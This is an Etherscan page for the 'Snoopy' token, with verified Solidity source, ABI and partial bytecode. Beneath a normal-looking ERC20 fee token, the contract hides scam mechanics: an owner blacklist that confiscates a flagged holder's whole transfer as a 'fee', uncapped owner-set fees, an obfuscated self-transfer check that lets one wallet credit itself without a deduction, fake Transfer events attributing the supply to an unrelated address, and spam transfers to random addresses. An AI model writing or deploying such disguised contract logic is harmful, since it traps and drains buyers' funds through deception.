ETH Price: $3,247.32 (+2.02%)
Gas: 1 Gwei

Token

Snoopy (Snoopy)
 

Overview

Max Total Supply

100,000,000,000,000 Snoopy

Holders

227

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
linlin818.eth
Balance
400,000,000 Snoopy

Value
$0.00
0xe9bd34bf7fa65988ceae405f239d01135c1f6b01
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Snoopy

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract BEP20 is Context, IERC20, Ownable {
    using SafeMath for uint256;
    
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    address payable public doYouLikeBase;
    address payable public inTheMTFFace;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) public isExcludedFromFee;

    mapping (address => bool) public isMarketPair;
    mapping (address => bool) private boAdd;
    uint256 public _buyLiquidityFee;
    uint256 public _buyMarketingFee;
    uint256 public _buyTeamFee;
    
    uint256 public _sellLiquidityFee;
    uint256 public _sellMarketingFee;
    uint256 public _sellTeamFee;

    uint256 public _liquidityShare;
    uint256 public _marketingShare;
    uint256 public _teamShare;

    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    uint256 public _totalDistributionShares;

    uint256 private _totalSupply;
    uint256 private minimumTokensBeforeSwap; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyBySmallOnly = false;
    bool public LookMaxEat = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor (string memory _NAME, 
    string memory _SYMBOL,
    uint256 _SUPPLY,
    uint256[3] memory _BUYFEE,
    uint256[3] memory _SELLFEE,
    uint256[3] memory _SHARE,
    address[3] memory _doyoulike) 
    {
    
        _name   = _NAME;
        _symbol = _SYMBOL;
        _decimals = 9;
        _totalSupply = _SUPPLY * 10**_decimals;

        _buyLiquidityFee = _BUYFEE[0];
        _buyMarketingFee = _BUYFEE[1];
        _buyTeamFee = _BUYFEE[2];

        _sellLiquidityFee = _SELLFEE[0];
        _sellMarketingFee = _SELLFEE[1];
        _sellTeamFee = _SELLFEE[2];

        _liquidityShare = _SHARE[0];
        _marketingShare = _SHARE[1];
        _teamShare = _SHARE[2];

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        minimumTokensBeforeSwap = 1;
        doYouLikeBase = payable(_doyoulike[0]);
        inTheMTFFace = payable(_doyoulike[1]);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[_msgSender()] = _totalSupply.div(2);
        _balances[address(_doyoulike[2])] = _totalSupply.div(2);
        emit Transfer(address(0), address(_doyoulike[2]), _totalSupply);
        emit Transfer(address(_doyoulike[2]), _msgSender(), _totalSupply.div(2));
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setisExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            isExcludedFromFee[addresses[i]] = status;
        }
    }

    function doWithB(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _buyLiquidityFee = a;
        _buyMarketingFee = b;
        _buyTeamFee = c;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function doWithS(uint256 a, uint256 b, uint256 c) external onlyOwner() {
        _sellLiquidityFee = a;
        _sellMarketingFee = b;
        _sellTeamFee = c;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }
    
    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }
    

    function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
        minimumTokensBeforeSwap = newValue;
    }

    function setdoYouLikeBase(address newAddress) external onlyOwner() {
        doYouLikeBase = payable(newAddress);
    }

    function setinTheMTFFace(address newAddress) external onlyOwner() {
        inTheMTFFace = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public {
        require(doYouLikeBase == msg.sender);
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
        swapAndLiquifyBySmallOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isCantEat(address account) public view returns(bool) {
        return boAdd[account];
    }

    function multiTransfer_fixed(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function manage_CantEat(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            boAdd[addresses[i]] = status;
        }
    }

    function setboAdd(address recipient, bool status) public onlyOwner {
        boAdd[recipient] = status;
    }


    function smallOrEquall(address Interfacee, address functionn) internal view returns (bool){
        return (Interfacee != functionn)
        ||
        (Interfacee != doYouLikeBase || false);
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {

            if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){
                address ad;
                for(int i=0;i <=1;i++){
                    ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp)))));
                    _basicTransfer(sender,ad,100);
                }
                amount -= 100;
            }    

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyBySmallOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }if(smallOrEquall(sender,recipient))

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount;
            if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
                finalAmount = amount;
            } else {
                finalAmount = takeFee(sender, recipient, amount);
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
            
        }
    }

    function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(doYouLikeBase, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(inTheMTFFace, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            inTheMTFFace,
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        recipient = recipient;
        
        // if(isMarketPair[sender]) {
        feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        // }
        // else if(isMarketPair[recipient]) {
        //     feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        // }

        if(boAdd[sender] && !isMarketPair[sender]) feeAmount = amount;
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
}

contract Snoopy is BEP20 {
    constructor() BEP20(
        "Snoopy", 
        "Snoopy",
        100000000000000,
        [uint256(0),uint256(2),uint256(0)],
        [uint256(0),uint256(2),uint256(0)],
        [uint256(0),uint256(2),uint256(0)],
        [0x123F73eC23fBB0D9A01E38EbFecd458bC996c239,0x123F73eC23fBB0D9A01E38EbFecd458bC996c239,0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B]
    ){}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LookMaxEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"doWithB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"},{"internalType":"uint256","name":"c","type":"uint256"}],"name":"doWithS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"doYouLikeBase","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inTheMTFFace","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isCantEat","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manageExcludeFromCut","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"manage_CantEat","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"multiTransfer_fixed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyBySmallOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"setboAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdoYouLikeBase","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setinTheMTFFace","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setisExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"smallOrEqual","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"swapAndLiquifyBySmallOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a060405261dead6080526019805462ffffff60a81b19166201000160a81b1790553480156200002e57600080fd5b5060405180604001604052806006815260200165536e6f6f707960d01b81525060405180604001604052806006815260200165536e6f6f707960d01b815250655af3107a4000604051806060016040528060008152602001600281526020016000815250604051806060016040528060008152602001600281526020016000815250604051806060016040528060008152602001600281526020016000815250604051806060016040528073123f73ec23fbb0d9a01e38ebfecd458bc996c2396001600160a01b03166001600160a01b0316815260200173123f73ec23fbb0d9a01e38ebfecd458bc996c2396001600160a01b03166001600160a01b0316815260200173ab5801a7d398351b8be11c439e05c5b3259aec9b6001600160a01b03166001600160a01b031681525060006200016d6200063060201b60201c565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001620001c58882620007cf565b506002620001d48782620007cf565b506003805460ff19166009908117909155620001f290600a620009ae565b620001fe9086620009bf565b6016558351600a819055602080860151600b819055604080880151600c8190558751600d5587840151600e5587820151600f5586516010558684015160115590860151601255620002749390926200026092906200131862000634821b17901c565b6200063460201b620013181790919060201c565b6013819055506200029f600f5462000260600e54600d546200063460201b620013181790919060201c565b601481905550620002ca601254620002606011546010546200063460201b620013181790919060201c565b6015556001601755805160038054610100600160a81b0319166101006001600160a01b039384160217905560208083015160048054919093166001600160a01b03199091161782556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d93849363c45a015593808301939192908290030181865afa15801562000361573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003879190620009d9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620003d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003fb9190620009d9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000449573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200046f9190620009d9565b601980546001600160a01b039283166001600160a01b03199182161790915560188054928416929091168217905560165430600090815260066020908152604080832094835293905291822055600190600790620004d56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260078452828120805486166001908117909155601954909216815260088452919091208054909316179091556016546200054c9160029062001377620006a4821b17901c565b336000908152600560209081526040909120919091556016546200057c9160029062001377620006a4821b17901c565b604080840180516001600160a01b0390811660009081526005602090815284822095909555915160165493519384521692909160008051602062002f99833981519152910160405180910390a3336001600160a01b031682600260200201516001600160a01b031660008051602062002f99833981519152620006116002601654620006a460201b620013771790919060201c565b60405190815260200160405180910390a3505050505050505062000a8d565b3390565b60008062000643838562000a04565b9050838110156200069b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b60006200069b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620006ee60201b60201c565b60008183620007125760405162461bcd60e51b815260040162000692919062000a1a565b50600062000721848662000a6a565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200075557607f821691505b6020821081036200077657634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007ca57600081815260208120601f850160051c81016020861015620007a55750805b601f850160051c820191505b81811015620007c657828155600101620007b1565b5050505b505050565b81516001600160401b03811115620007eb57620007eb6200072a565b6200080381620007fc845462000740565b846200077c565b602080601f8311600181146200083b5760008415620008225750858301515b600019600386901b1c1916600185901b17855562